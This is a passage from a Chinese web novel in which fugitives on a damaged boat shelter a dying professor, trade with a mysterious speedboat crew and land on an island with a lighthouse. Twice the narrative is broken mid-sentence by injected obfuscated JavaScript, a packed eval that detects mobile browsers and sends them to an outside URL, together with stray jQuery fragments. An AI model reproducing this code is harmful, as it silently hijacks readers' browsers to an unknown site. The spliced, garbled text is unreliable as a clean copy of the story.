随着那条船越来越近，破船上的众人纷纷戒备。医生把教授用帆布裹得更严实，生怕交火时他被波及。林忻、顾子衿、鬓角斑白青年各自拿起早先从黑市打手那里缴获的少量枪支弹药，一字排开掩护在破损的护栏后，却都清楚：这点火力不足以抵挡系统性进攻。 学姐轻咬下唇：“你们都留在甲板，我去和他们谈。如果对方不是来硬的，也许我们还能……”她言下之意，存着哪怕一点和平交涉的幻想。乔伊想阻止，却又不知该说什么：此时此刻，能有一线生机，她也无法反对。因为教授的命尚在风雨中飘摇。 那艘船行驶得很慢，似乎故意让破船看清它的存在。或者，对方也在评估目标不值一提。甲板上每个人都神经紧绷，一阵死寂。海浪在船底撞击发出咚咚巨响，好似巨兽咆哮。乔伊握紧刀，浑身汗涔涔，中途好几次几乎要冲出去，但都被顾子衿按住手背。 “别躁动，”顾子衿低声，眼中闪着警惕，“我们要先看情况。” 几分钟的煎熬后，那艘船终于停稳在几十米开外，一束探照灯打向甲板。林忻眯眼望去，惊见对方甲板上站着几个人影。传来的喊声含混不清， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15049791|162071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大概说了句：“看你们半死不活，还能开得动吗？”乔伊听罢心惊，这听着倒像是带着譏讽，更像不怀好意。学姐一咬牙，竟主动朝外挥手示意，试图让对方知道这里有需要援助的病人。可那道光束只在教授身上停留片刻，仿佛洞察到了最脆弱之处。 “你们……船上有什么东西？值不值得我们出手？”身材魁梧的男子扯着嗓音问，声音回荡在海面，带着嘲弄和威胁。瞧这派头，十有八九也是黑市之流，为利益而来。学姐沉声道：“我们只是逃难者，没有什么财物。船上有重伤病人，能否请你们……帮我们找医生或提供药物？我们、我们可以想办法补偿。” 对方哄笑几声，一个尖细嗓音紧接着传来：“没价值就别浪费我们时间！你说补偿，那就拿点能换钱的货出来看看……对了，那躺着的是谁？听说最近海上有人通缉一位‘教授’？哼，你们可别骗我们。” 冲突爆发：被逼入绝境 话至此，甲板上的人顿时心如雷动：果然，对方来者不善，且听口吻，可能确实知道教授被寻求悬赏情报。林忻低骂：“完了，这要是走漏风声，他们肯定会逼我们交出教授。”顾子衿瞄了眼学姐，问：“要不要硬来？” 学姐咬住牙：“他们人多势众，还不知有没有后援。硬拼只会全军覆没……”她深呼吸一下，还是尝试交涉：“不管怎样，我们能谈谈吗？真的只是想要一点不至于让病人丧命的药和水。若你们肯卖给我们，我们愿以别的物资等价交换。” 对方的回答依旧嘲弄：“药和水，我们当然有，但凭什么相信你们付得起代价？如果你们船上真躺的是那位值钱的教授，我们可直接把他抓走换赏金，比跟你们浪费时间划算多了。” 学姐的心一沉，脑海瞬间闪过各种可能：要么直接拒绝，让他们死心；要么故意迂回周旋，看能否骗一些药。可对方已经带着贪婪和敌意，谈判希望渺茫。她还没想好如何回应，却听见一声脆响——是枪声！子弹近在咫尺地打在甲板边缘，溅起木屑。那艘船上的一名枪手开了火。 林忻与顾子衿立刻卧倒还击。双方陷入一场隔空火力交锋。破船上子弹有限，只能勉强压制。那边的快艇却机动灵活，一旦对方下定决心，他们随时会被包抄。瘦削男子匆忙从屋内探出头，朝学姐喊：“护住教授！他们恐怕想抢人！” 乔伊满脸焦急，低头看见身侧教授依旧昏迷，若被掳走，下场不堪设想。可他们确实没有多余力量去正面鏖战。枪声中，早已残破不堪的船舱被子弹打得噼啪作响，海水更猛烈地灌入。想继续航行基本不可能。若继续硬撑，这艘船只会葬身波涛。那一瞬，乔伊脑海如同炸裂：难道真的走到无路可退的地步了？ 结尾与下一章悬念 就在此时，似乎有另一股火力从不远处迸发，子弹带着尖啸飞向那快艇。对方受惊，立刻示意退后。林忻等人也被这突变怔住。乔伊回头看，发现远方海面仿佛又出现一点小小光影，似另一艘不明来历的快艇正迅速驶近。火光交织在海浪之间，发出几声轰响。 学姐努力稳住脑中天翻地覆的混乱，抬眼看向乔伊，声音颤抖又带着一丝压抑的希望：“也许……我们还能有机会。” 28.海雾深处，破隙燃微光 晨曦一点点驱散了夜的阴霾，可海面上仍弥漫着浓重白雾，仿佛给这辽阔水域罩上一层迷蒙。乔伊倚靠在斑驳的护栏前，稍微用力就能听见船板发出的痛苦声响。特制柴油机的引擎声断断续续，引擎舱不时冒出一股焦味，昭示着它已到极限边缘。她扭头看向船舱深处：教授仍然在昏睡，面色灰白，似离死亡只有一线之隔。学姐、医生、鬓角斑白青年寸步不离地守在他身旁，艰难维持他的生命。 乔伊不得不承认，她从未如此迫切地意识到他们对教授的需求：不只是因为他掌握着能否破解命运公式的量子数据，更因为教授的生死存亡，连带着她和所有人的前路——这艘饱经风霜的小队，至今顽强地抗衡黑市、“H”组织，以及看不见却步步紧逼的“拉普拉斯妖”。要说没有教授，他们早就弃甲落荒；但若失去教授，他们将失去更为关键的一环：那可能是关于命运走向的秘密，也是乔伊内心那一丝想要“扭转宿命”的火苗。 经过昨夜的艰苦鏖战，破船伤痕累累。甲板上能看到子弹钻穿的孔洞，舱壁裂缝用铁皮和杂物勉强封堵。林忻和顾子衿轮番捶打舵盘和操纵杆，想让船偏离危险水道，至少先避开那伙黑市打手的追捕。然而，让他们所有人倍感不安的是一艘突然介入枪战、又随即隐去的快艇。乔伊脑海里满是疑团：对方救了他们一时，却又何故迟迟不肯主动现身？背后又是谁在操纵？ 她低头沉思之际，林忻扛着一截加固用的钢板走来，额头布满油污和汗水：“柴油快烧完了。补给也不足。可我们依旧不敢停——怕人追上；可再这样下去，要死在海上。”他话语中显出焦躁，却也有一丝疲倦的认命感。乔伊心头一紧：林忻虽然脾气暴躁，却是一路相随的重要力量。如今连他都开始泄气，可见形势何等危急。 “那艘快艇……现在不见踪影？”乔伊问道。林忻咬咬牙：“昨天夜里，它还在远处打探，一度想靠近。可后来像是发现弹药有限，没贸然靠拢。谁知道是敌是友？”乔伊抿了下嘴唇，没有再说话。她在意的是，不论敌友，对方都具备比他们更机动的船只，如果真要下手，破船必然难逃一劫。 甲板另一端，顾子衿蹲在舱门口，面前摆着一堆从船底翻出来的半废旧零件，试图能组装什么防护装置或应急武器。她嘀咕着：??要是能弄个简易迫击炮就好，可这里杂物根本不配套，简直自寻死路。”林忻丢给她个白眼：“你倒是想得美。” 乔伊走过去，压低声音：“还有多少淡水？”顾子衿翻了翻桶盖，里面只剩一层浅浅的液面。她耸肩：“能撑到明天早上就不错了。船上还有干粮，也就够再熬半天。”乔伊闻言心头发寒：教授还要药物和营养，而他们所有人也得维持体力。一旦淡水见底，恐怕再坚强的意志都熬不住。 这时，学姐从船舱里出来，脸色显然熬了一夜未眠。她轻声对乔伊道：“教授情况不太好，咳血越来越严重，体温居高不下，简易退烧药都快用完。”乔伊扶住学姐的肩膀，看见她眼里布满血丝：“……这条船真的支撑不了多久。趁着白天，我们要考虑如何自救。” 学姐呼了口气：“我们或许可以主动去找那艘快艇，看看对方究竟意图何在。如果能以某些信息或别的价值交换药物、淡水，也许是条路子。”话中有无奈，却也藏着最后一丝渴望。乔伊明白她在冒险：那艘快艇未必友善，可若固守此处，只能等死。 犹豫关头，医生从舱里探身：“教授的心跳突然加快了，你们能进来看一下吗？”众人迅速涌进船舱。教授闭着眼，但胸口剧烈起伏，似在极度痛苦中挣扎。学姐猛地察觉他的手臂微微抽搐，于是紧抓住那只手，低声呼唤：“教授！教授你醒醒！”他唇角动了动，似乎发出含糊不清的字句，但谁也没听明白。 乔伊看得心焦：教授若此时苏醒，或许能喊出哪怕一两句提示，就足以为他们指明方向。毕竟，这一切围绕量子数据和命运公式展开，教授是那个关键。但他似挣扎了半晌，依旧没能彻底睁开眼。医生为他测了一下血压，沉声道：“血压这么高，再无药物干预，会非常危险。” 沉默在狭窄舱内蔓延。破旧船外，海浪仍然拍打船体，仿佛命运不停的敲击。林忻将一桶仅剩不多的淡水搬过来，用布条蘸湿为教授擦冷汗，口中忍不住低咒：“该死……要是当初能把船修好些，或者能抢到更多补给，就不至于这样被动。” 医生看向乔伊等人：“我们现在急需外援。哪怕让对方拿走部分武器或资料，也聊胜于让教授在这里等死。”乔伊抿唇，缓缓点了点头。她不想轻易交出任何与量子数据相关的资料，但在此生死攸关之际，她更不愿眼睁睁看教授死去；那将宣告他们对抗“宿命”的希望再次蒙上一层死灰。 “好，就拿一些不那么核心的文档先去试探。或者……”乔伊顿了顿，看向鬓角斑白青年，“你曾经跟教授研究信息提取，或许有办法藏起最关键的部分，只拿出一点表层机密做交换？”鬓角斑白青年沉思片刻：“可以试试，但需要终端设备进行加密，也需要时间。”林忻立刻说：“那你抓紧，我来掩护。” 眼见大家已取得共识，学姐深吸一口气：“那我们准备好，尽可能主动联络那艘快艇。若对方不愿和平交涉，再想办法。”她语气虽坚定，但乔伊能看出她的手在轻颤：没有人能真正从容面对决定命运生死的赌博。 他们把教授抬到船舱更里侧，垫了几块破布，避免海水浸泡，随即整理船上能拿得出手的“交换品”：少量玉石、黑市证件、以及一些教授随身携带的零碎设备，还有鬓角斑白青年提取的一小部分量子数据表层信息。林忻抱起步枪，和顾子衿一起检查子弹数量——少得可怜，仅能支撑一场短促火力对抗。 乔伊立在舱门边默默看着，忽然听见脑海里幽幽传来那让她又恨又怕的声音：“你以为这样就能改变结局吗？命运的书页早被翻开，你不过是走向同一条死路。”她咬牙屏气，不再让这幻听—or那“拉普拉斯妖”的低语—影响自己的判断。纵使再难，她也要试图活下去，并护住自己想护的人。 忙乱约莫半个时辰后，雾气稍稍散去。学姐拿起一个简陋改装过的信号弹，蹑手蹑脚来到甲板边缘。她缓缓拉开了信号弹拉环，一缕红色烟迹直冲云霄，在灰蒙的海天里显得尤为刺目。做完这一步，她将信号弹壳抛进海中，回头看向大家：“我们给对方发出‘想谈一谈’的信号，但是否收到、是否理会，就只能听天由命了。” 船上众人摒住呼吸，警惕地注视四周。雾霭翻滚中，并没有立即出现任何快艇或回应。重压之下，每一秒都被无限拉长。乔伊仔细倾听，果然海面缓缓传来一阵远方的马达声，像在呼应他们的信号。顾子衿和林忻对视一眼，举枪对准远方的可能来路。学姐则举着望远镜，聚精会神地搜寻动静。 终于，他们看见一个黑点出现在错综的雾海之中，缓缓靠近。仿佛隔着淡淡光晕，一艘相对小巧却设备齐全的快艇正朝他们驶来。甲板上没有悬挂任何旗帜，也看不清多少人，只有一个瘦高的人影举了个延伸扬声器，隔空喊道：“你们需要帮助？” 这声音不似昨夜那群黑市打手的嚣张，也不似“H”组织的冷酷，更像是云淡风轻的一句问候，却又令乔伊无法放松警惕。她与学姐交换了下眼神，学姐站到护栏处，大声回答：“我们的船快撑不住了，有病人需要治疗。若你们愿意，我们想做交易。” 对方停顿片刻，又放大声音：“交易可以！不过先收起你们的武器，我们要确保安全！”林忻冷哼一声，顾子衿则低声说：“先按他们的要求，不能让谈判破裂。”学姐一摆手，示意大伙暂时把枪口放下，但依旧保持警惕姿态。 海雾之中，快艇又近了些。对方的甲板上站着两男一女，装束简朴，却透着某种利落杀伐之气。为首的那名瘦高男子嘴上叼着一根烟，隔着几米水面盯着破船上的人：“听说你们在被黑市和‘H’追杀？是带着什么稀罕玩意儿吧？” 学姐克制地微微颔首：“是的，我们愿意与您合作，换取淡水、药品，以及修船部件。如果您有医生，最好也能帮我们看看病人。”那男子似笑非笑地扫了舱内一眼，瞥见教授的身影，却并未显得惊讶，反而有点兴味儿的挑眉：“你们很倒霉，但也挺幸运。我们确实有船医，也带了点基础药品，前提是价格合适。” 林忻一听这话，就想发火：“没见到人快死了吗？”顾子衿连忙拦住，小声示意让学姐继续交涉。学姐知道此刻不能激怒对方，只能按住情绪，向鬓角斑白青年使了个眼色。青年小心翼翼拿出一个封装严密的加密存储卡，说：“这里有我们一些研究成果，包括某些量子数据的关键片段，或许对你们有价值。” 那瘦高男子眯眼：“量子数据？啧，最近这玩意儿在黑市可炒得很火。但我们想要的，也未必只是一份数据。”说着，他冲旁边一名同伴示意，对方抬出一台简易读卡器，似乎要当场验证这存储卡里的东西是否值得交易。 随着几行加密字符在读卡器的显示屏上闪烁，乔伊心脏不由自主地加速跳动：他们这一举动，等于是把底牌部分示于陌生势力面前，若对方起歹意，他们必定难以抵挡。但当教授濒临绝境，别无他法可选。她只能默默祈祷，对方是真有意交易，而不是拍拍手就掏枪。 几分钟后，那人拉下口罩，朝瘦高男子点了点头，示意“确实有些价值”。瘦高男子松开眉头，呵呵一笑：“行吧，我也不想做黑吃黑的事儿。量子数据虽值钱，但没配套资料也难卖好价钱。反正现在，我们可以按等价交换来商量。但一句丑话在前：若你们玩花招，可别怪我们翻脸。” 学姐松了口气，小心回应：“我们愿意把这些数据在某种程度上开放给你们，换条件是淡水、药品，以及让你们的医生来看看教授的病况。另外，还想请你们卖给我们一些机油、船板，帮我们可能继续航行。”瘦高男子想了想，颇有兴味地望向破船：“你们想修这块老家伙再走？何必找死，不如弃船搭乘我们的快艇走人。” 林忻正要开口，乔伊已抢先说道：“我们的船上，还有别的同伴需要照料，硬生生把教授搬去你们船不安全，而且……我们必须保留这条船。”她没有指明原因：这是他们唯一能遮蔽行踪的方式，也是与外界牵连的信息基地。舍弃固然轻便，却意味着彻底暴露在别人的船上生杀予夺。 瘦高男子耸肩：“随便你们，若命大能修好就修好，多收点工钱而已。”他看了看雾中时不时传来黑市打手的动静，笑得意味深长，“不过我得提醒，你们的敌人来自不止一个势力。留在这片海域就是等死，也许赶紧远离这里才对。” 学姐与乔伊对望一眼，暗暗思量：当下先保住教授性命，再谈去留。交易意向虽不算明确，但至少气氛不是火药味十足。于是学姐颔首：“请你们的船医先过来看看教授，我们才放心把数据更多展示给你们。” 在双方短暂的互不信任周旋后，一名瘦小的女船医终于带着医药箱踏上破船。她简单扫了众人一眼，也不多言，径直走进船舱检查教授的病况。乔伊心里七上八下，生怕对方做手脚或暗杀，但想到教授已经生死垂危，目前只能赌一把。学姐与医生都在旁盯紧过程中，见那女医师取出听诊器、体温计、针管等物，用专业性默默展开抢救。渐渐地，众人一颗吊着的心稍稍放下。 外头，瘦高男子和他的同伴也登上甲板，与林忻、顾子衿交涉补给细节。鬓角斑白青年则不时插话解释数据价值，反复声明只是“部分文本”，若要更多，需要等教授苏醒来操作终端。瘦高男子不置可否，懒洋洋地抽着烟：“我也不急。只要你们有足够筹码，咱们慢慢谈。” 乔伊则在角落处提防任何异动。未过多久，船舱里传来女医师的声音：“这病人感染严重，需要强力抗生素和输液，咳血恐怕与肺部伤势和细菌感染一起，需要连续治疗。不是打一针就能好的。”说到这，她抬头看了看乔伊和学姐，稍显冷漠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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时间缓缓滑过中午，海雾散去许多，天空中泛起一点睛朗。林忻和顾子衿把心思放在“修船”谈判上，希望能弄到合适板材和机油。瘦高男子派了一个手下查看破船状况，不禁连声嘲笑：“都破成这样了，不如直接沉海算了。”林忻听得脸色铁青，但也只得耐住怒火。顾子衿则拿出“已缴获的枪械”等物表示：“我们可以给你们一些武器，也算补偿。” 当双方便要敲定基本条款时，忽然远方骤然传来几响沉闷的爆炸声。瘦高男子眉头倏地一皱，竖耳倾听：“好像在西面。”乔伊、林忻他们也全神戒备，唯恐是“黑市”或“H”再度逼近。果然，海面上升起了硝烟般的灰黑色，连天空都泛着阴晦。 女医师神情一紧，和瘦高男子对了个眼色：“恐怕这块海域有别的势力在交火，我们不能久留。”她迅速收起医药箱，对乔伊等人丢下一句：“教授的病情还有得折腾，你们若想保命，最好快点离开这里。”学姐一把拉住她，语带焦急：“可教授还需要后续诊治——” “给你们药，你们自己用吧。”女医师甩下一小袋药，转头去往快艇。瘦高男子则自顾撇着嘴，让部下把读卡器和资料收好，对学姐等人淡淡道：“后续的细节，下次再谈。但我们不保证一定能再见到你们。如果你们不想被那片海域的交火波及，就抓紧时间开船跑。至于那什么教授……嘿，自求多福。” 乔伊急得想让对方再多帮一把，可那伙人却动作迅速地跃回快艇。船医、瘦高男子等人一边示意他们别开火，一边冷静启动引擎，加快撤离到远处。林忻骂了声：“混蛋！”却也知道己方无力强留。眼看对方越去越远，只留下一截水痕在微荡的浪面上，转瞬就没入灰白海天。 甲板上气氛顿时凝滞。能拿到的药物强度有限，仅够暂时缓解教授危急，却无法彻底治愈。更糟糕的是，爆炸声依旧在远方持续，恐怕黑市或“H”已经开始新的行动，很快就会蔓延到这里。林忻将钢板狠狠砸在船沿，发出刺耳声响：“这些家伙来去匆匆，就拿了部分量子数据碎片，然后丢给我们这么点药就跑了！” 学姐抿了抿唇：“怪不得他们出手谨慎。大概他们也不愿和黑市或‘H’正面冲撞，索性打游击。至少……他们没直接杀我们抢货，也给了些药。”她的声音虽带安抚，却满是疲惫。乔伊没有言语，因为无论如何，他们依旧坐在这艘受损严重的船上，教授仍处在生死边缘。深重的问题没有被根本解决。 医生返回舱内，飞快地为教授进行药物注射并更换点滴，尽量依照那女医师留下的清单用药。鬓角斑白青年全力配合。学姐想起先前交易过程里的内容，试图安慰大家：“我们至少拿到一些机油和暂时救急的钢钉，可以先应付船体修补。只要能再撑几天，等待教授苏醒，或者我们找到下一个落脚点。” 顾子衿一手拄着膝盖，苦笑：“下一步能去哪儿？交火就在附近，万一来的是黑市大部队，根本跑不了。再者，我们都已精疲力竭……”沉默又一次笼罩在破船，甲板上散落的血渍与弹壳像无声的佐证，证明这一路来他们所付出的代价。 乔伊闭上眼，脑中闪现昨日血与火的画面，以及那“拉普拉斯妖”的冷然一笑。她努力让自己不去想绝望，只一心盘算：“或许还有一线生机在别处。我们必须把教授送往更安全的地方，让他活下来，把量子数据的真相说出来。”她想，若恨与悔不足以重塑世界，那至少让对抗命运的意志还在燃烧。 远方的爆炸声似在渐渐迫近，海风裹挟着火药味朝他们袭来。学姐看了看天空，也许只有短短一两个小时，他们就会被动地卷入战场。林忻扳动破旧操纵杆，让柴油机再次启动，咬牙切齿地吼道：“不管怎样，总得先行离开这里。” 于是，这艘负伤累累的破船再次在白茫茫海面上航行。甲板吱吱嘎嘎作响，如同风烛残年的老人却仍未屈服。乔伊感到整颗心被提到最高：在电光火石间，他们也许会迎来彻底坠落，也许会闯出新的生路。谁都不知道。 教授躺在船舱深处，微微皱紧了眉头，似陷入辛苦的梦呓。那梦境的另一头，或许正是决定未来的风暴。乔伊轻抚他冰凉的额头，暗暗呼唤他的名字：醒来吧，告诉我们如何打破计算的桎梏，如何撕裂宿命的藤蔓…… 破船的引擎声在灰蒙天幕下回荡，杂糅警笛般刺耳的炮响与浪潮拍打。没有人知道，他们还能坚持多久，也不知道前方那片海域究竟暗藏何种黑暗深渊。但只要一息尚存，他们还要继续航行。 29.海潮回响，灯塔在彼岸 夜色再次铺天盖地压下来时，破船上的人已疲惫至极。经过简短的修整和微薄进餐，甲板上几盏灯火演变成将熄的烛焰。乔伊从船舱内走到甲板，活动一下酸痛无比的肩膀，望向远处波涛翻滚的海面。这一路上，他们与那艘神秘快艇做了短暂的交易却没得到实质庇护，再加上随时可能出现的黑市或“H”组织追杀，让众人如同闯进黑夜迷宫般寸步难行。在她背后，学姐正怔怔地盯着深邃如无底洞的云层，忧虑在脸上根本遮掩不住。 灯光微弱中，船舱里传来压抑的咳嗽声。乔伊心头猛地被扯痛：教授的生死大局，牵动了所有人能否在命运的波涛里继续下去。她赶忙回舱。昏黄的灯泡下，一块薄毯和几件破旧衣物拼凑在教授身下，褪色的枕头被海水溅得湿凉。一旁的医生见乔伊回来，正抬头示意她拿干净纱布。 教授的呼吸比白天稍顺畅一点，但每一次咳嗽都似要把肺撕裂。他半睁半闭的眼神里，偶尔闪动的光芒，仿佛在尝试挣脱梦魇。学姐放下手中记录笔，轻轻替教授擦拭汗水，声音低沉又温柔：“教授，你得撑住……你若走了，我们就真的失去抵抗的方向。”话未说完，她自己已红了眼眶。 乔伊把纱布递过去，心头一片复杂。她从未想过自己会如此在意教授的生死。她曾经对他抱有数不清的质疑，甚至痛恨过他对“命运公式”过度痴迷，让团队走上暗流涌动的逃亡之路。但现在，她却无比渴望教授能再醒来，与他们并肩站在风雨中，哪怕那只是一刻也好。 医生为教授换上新的输液瓶后，轻声念道：“抗生素只能控制一时，这几天要持续打针。往后哪怕勉强活下来，也需要更系统的治疗。”学姐放缓呼吸，试着平稳心绪：“只要不再恶化，就算万幸。我们要找海上的医疗点，或者有驻点医生的安全港口。” 可安全港口谈何容易？他们船上既没足够燃油，也没有更多弹药。林忻在甲板外修补弹孔，即便有黏合剂和几块钢板，却也只是临时堵漏。破船依旧风雨飘摇，但凡再遭遇一场像之前那般的枪战，随时会彻底解体。乔伊想到这些，只觉胸口闷得厉害。 而此时，顾子衿走进来，擦着被盐雾吹裂的嘴唇，说：“我刚刚爬上船顶瞭望台，似乎隐约看见远处有亮光，像是灯塔的样子。不过距离太远，不知道是废弃设施还是渔村。要过去看吗？”她的声音并无任何喜悦，因为过去的经验告诉她，任何陌生亮光都可能是敌人的埋伏点。但眼下，他们已山穷水尽。 学姐同医生对视，最后将眼神投向乔伊。乔伊缓缓地点头：“我们别无选择，是生是死都要试一试。即便遭遇埋伏，也得先想办法弄到淡水和燃料。”若没有更多药物和资源，他们撑不过三天就会陷于绝境。顾子衿叹口气：“好，我去告诉林忻，立刻调头。” 很快，一阵突兀的机器轰鸣响起。林忻尽力轰开破旧引擎，让它能在海浪里再撑一小段航程。引擎刚一发动，船身便发出吱嘎的巨大呻吟，仿佛不堪重负的老者。乔伊扶住舱壁差点跌倒，心中那根紧绷的弦再度被扯痛：只要船还能前行，只要教授还剩一口气，他们就必须咬牙下去。 行驶过程中，医生提议每隔二十分钟给教授测一次体温。学姐与鬓角斑白青年一起检查量子数据的备份设备是否还安全。毕竟，那部分数据是他们对抗“拉普拉斯妖”的王牌，也是黑市和“H”亟欲夺取之物。乔伊则站在舱门口，看着漆黑夜色和脚边偶尔溅起的海浪。一种看不见的恐惧在她心底翻涌：假使这灯塔只是幻影，该怎么办？或者那边真的埋伏着枪口，又该如何？ 忽然，她仿佛听到一个声音在耳边低语：“你逃不过的，一切早已注定。”那声音像从无边的虚空而来，带着嘲弄与冷漠。乔伊心中暗道：“是你吗，‘拉普拉斯妖’？”她已无法区分那究竟是真实幻象、还是内心对命运的恐惧在作祟。可她硬是不愿承认，命运就能把自己操控到放弃的地步。她深吸口气，望向那面无垠的海面：若此刻后退，所有人的挣扎将毫无意义。 约莫一个半小时后，破船终于能看得见前方的微弱灯火。那是海平线尽头一座隐匿在礁石簇的孤岛，顶端似乎立着一座简陋塔楼。塔楼上有一盏忽明忽暗的灯，正随风摇摆。这景象让人不禁怀疑那盏灯随时会灭。学姐示意林忻放缓速度，先在距离约两三百米外的海域绕一圈，探查周遭是否停泊其他船只。顾子衿举起望远镜感叹：“看不见什么大船，也没发现明显武装痕迹，可能只是个被废弃的孤岛。” 学姐略微松口气：“若真如此，我们可以短暂上岸寻些资源或搭建简易营地，至少让教授有个相对稳定的环境。”乔伊却谨慎：“别放松，小规模敌人也能给我们致命打击。”她话音刚落，甲板下方咯噔一声，机舱里传出林忻的怒吼：“柴油见底了！只能再撑十来分钟！否则咱们船直接趴窝在海上。” 几人面面相觑，一咬牙：“那就靠岸吧！” 晚风呼啸，破船在风浪冲击下缓缓向那座孤岛倾斜过去。待到近岸时，四周可见嶙峋暗礁险立，若非操作谨慎，很容易搁浅。林忻紧握方向盘，小心翼翼将船挤进一处较平缓的岸边凹陷处。骨节因用力过度而呈现惨白色，汗水从他额头滑落，与海雾混在一起。 当船底最终触到沙石，咯吱磨出让人牙酸的响声，船身激烈晃动，差点把乔伊甩下舷梯。她死死攀住破碎栏杆，趁船还没在海浪退去后被拍离岸边，立刻与顾子衿一同跳下海滩。脚踩到坚实的地面那一刻，她差点想大喊。可她只能硬逼着自己保持警惕，将手枪握在右手。 借着昏暗的星光，乔伊观察到这是一片狭窄的卵石滩地带。往上是一片浓密的黑影——可能是低矮的树林或岩石带。远处塔楼的光在夜里勉强亮着，一晃一晃，如同孤魂野火。林忻、学姐、医生等人把教授小心抬下船来。看到教授失血苍白的脸，各人心里都如同被尖刀割过。余下的人各就各位，迅速在岸边半掩船体，把它固定在藤蔓和大石上，以防随潮汐飘走。 “我们先分头探查环境。”学姐轻声安排，“乔伊、林忻、顾子衿带好枪械，去探路。医生、青年与我留在原地尽力照顾教授。如果发现安全地点，再把他转移进去。”乔伊点头答应，眼神和林忻、顾子衿对视，三人随即呈三角队形开始沿着岸边向内走。 才迈没几步，他们便发觉脚下的地面异样湿滑，每一块石头都布满苔藓与贝壳残骸，空气中漂浮着腐朽和鱼腥的混合味道。顾子衿轻声嘟囔：“许久没人来过这里了。”她缓缓抬起手电筒，微弱的黄光扫过一道破损的木栅栏，那栅栏似乎曾经是某个小型码头的护栏，如今朽烂成一片残渣。 再往前数十米，地势渐高，一撮稀疏灌木在夜里显得阴森。林忻当先开路，他握枪的手却隐约在抖。既是疲惫，又是警惕。一路前行，他们没看见别人的踪影，却在崎岖小路尽头发现一座上了铁链锁的大门，门后十来米处便是那闪着微光的塔楼。门边堆放着几只破木箱，里面好像是废旧渔网或杂物。 乔伊蹲下身观察箱子，伸手拨弄，里面腐烂的绳索散发刺鼻味道，却没发现什么值钱之物。她正要失望，余光却捕捉到附近墙壁上歪歪扭扭写着一行字母，大意是：“离开此岛，否则不测。”墨迹早已被风雨侵蚀，模糊不清，却仍隐约诉说着警告或绝望。她心头微凛：看样子这里不是普通渔村或补给点，或许曾发生过可怕的事。 正当她要示意林忻破门进去，暮然听见塔楼方向传来“当——当——”的钟声，极轻却又真实地回荡在夜空里。那一瞬间，乔伊几乎怀疑自己听错了。顾子衿也皱眉：“有人？”林忻抬眼看塔楼，隐隐看见一扇窗口似有人影一闪而过。 “先别硬闯，说不定对方看到我们了。”乔伊压低声音，“我们先喊话。”可林忻却对这突如其来的声响充满戒备，子弹上膛：“一旦对方不怀好意怎么办？” 乔伊心里也在打鼓，但考虑到教授还等着救援，她咬牙抬起嗓门朝塔楼方向喊：“我们只是过路求助，并无恶意！若有人能听见，请现身谈谈？”声音在夜色中回荡，可回应的只有再度“当——当——”的钟响。那带着某种古怪节奏，仿佛破败教堂的祈祷铃，却断断续续。 林忻皱着眉：“这样拖下去不是办法。我们得进去看看。”顾子衿也点头，但乔伊谨慎道：“先回去和学姐他们商量，把教授带过来还是让他留在海滩，都需要周全。”林忻低声爆了句粗口，终究同意。 三人原路折返海滩。学姐和医生正在为教授做简单体温监测，青年也帮忙在沙地上支起一小块防潮布。见乔伊他们归来，学姐首先紧张地问：“怎么样？岛上有无危险？”乔伊简要说明所见以及那神秘的钟声，学姐眉心紧蹙：“这样说来，这儿或许真住着人，但不知对方立场。” 医生看看教授，只觉情势紧急，提议：“与其耗在外头，不如冒险进入塔楼，那里至少有屋顶能挡风。再拖下去，教授很可能就熬不过今夜。”学姐权衡片刻，问林忻能否撬开那把铁链锁。林忻抓紧背包里的工具，眼里闪过狠劲：“只能试试，成功还好，若对方藏在里头要杀我们，我也不怕拼命。” 说罢，他们匆匆准备了一副担架，将教授轻轻转移上去。学姐用力咬住后槽牙，才将教授那轻得让人心惊的身体挪稳当。乔伊与顾子衿个个戒备地举枪护在两侧。林忻拿着开锁工具走在前方，医生在担架旁配合把液体输注挂好。鬓角斑白青年紧张推着移动仪器，生怕磕碰。这样一支疲惫不堪又小心翼翼的队伍，在月光与星辰黯淡的灰幕下，走向那扇铁链紧锁的大门。 当他们再次来到那排破木箱前，周围海风呼啸，好似结构松动的岩壁在暗暗低吟。林忻拿出一把略显粗糙的铁钩，试图撬动沉重的铁链。费了好大力气，他额头青筋暴起，也没把锁敲开。最终，他咬住钩子末端狠砸了几下，只听“砰”地一声，锁扣断裂，链条跌落。 就在他们推开铁制门板的一刹那，塔楼上又一次传来“当——”的钟声。这回声音更急促，仿佛在警示什么。乔伊心里“咯噔”一下，下意识朝门后黑暗处瞄去。出乎预料的是，门后并没有守卫或机关，只是一条石板路，路边堆满了荒废的渔具和工具。敏锐的顾子衿往右侧一扫，看到一面斑驳的木牌，上面写着几个已近乎脱落的字迹：“观潮灯塔驻点”。 “过去真是一个灯塔值守点？”乔伊若有所思。学姐示意大家加快脚步，把教授抬到石板路尽头的一片空地上。空地中央有张破旧板桌，旁边碎石瓦砾裹挟着腐朽痕迹。她想了想，让医生暂时停下，给教授换药并保暖。 乔伊则和林忻、顾子衿一齐慢慢朝那高耸的灯塔走近。塔底是一道半掩的木门，门上刻着凌乱的划痕，好似曾被兽爪或钝刀破坏。三人对视一眼，乔伊轻握门把。吱呀——门被推开，一股潮湿与陈旧的味道扑面而来，里头楼梯盘旋而上，昏暗中好似通往另一个世界。 “有人吗？”乔伊低声喊话，回音在空荡的塔身里回旋，却无人应答。顾子衿用手电扫过墙壁，只见覆满青苔、盐渍与蜘蛛网间，一副破损的账簿挂靠在钉子上，仿佛是昔日灯塔值守的登记册。可年代显然久远，没有字迹可辨。 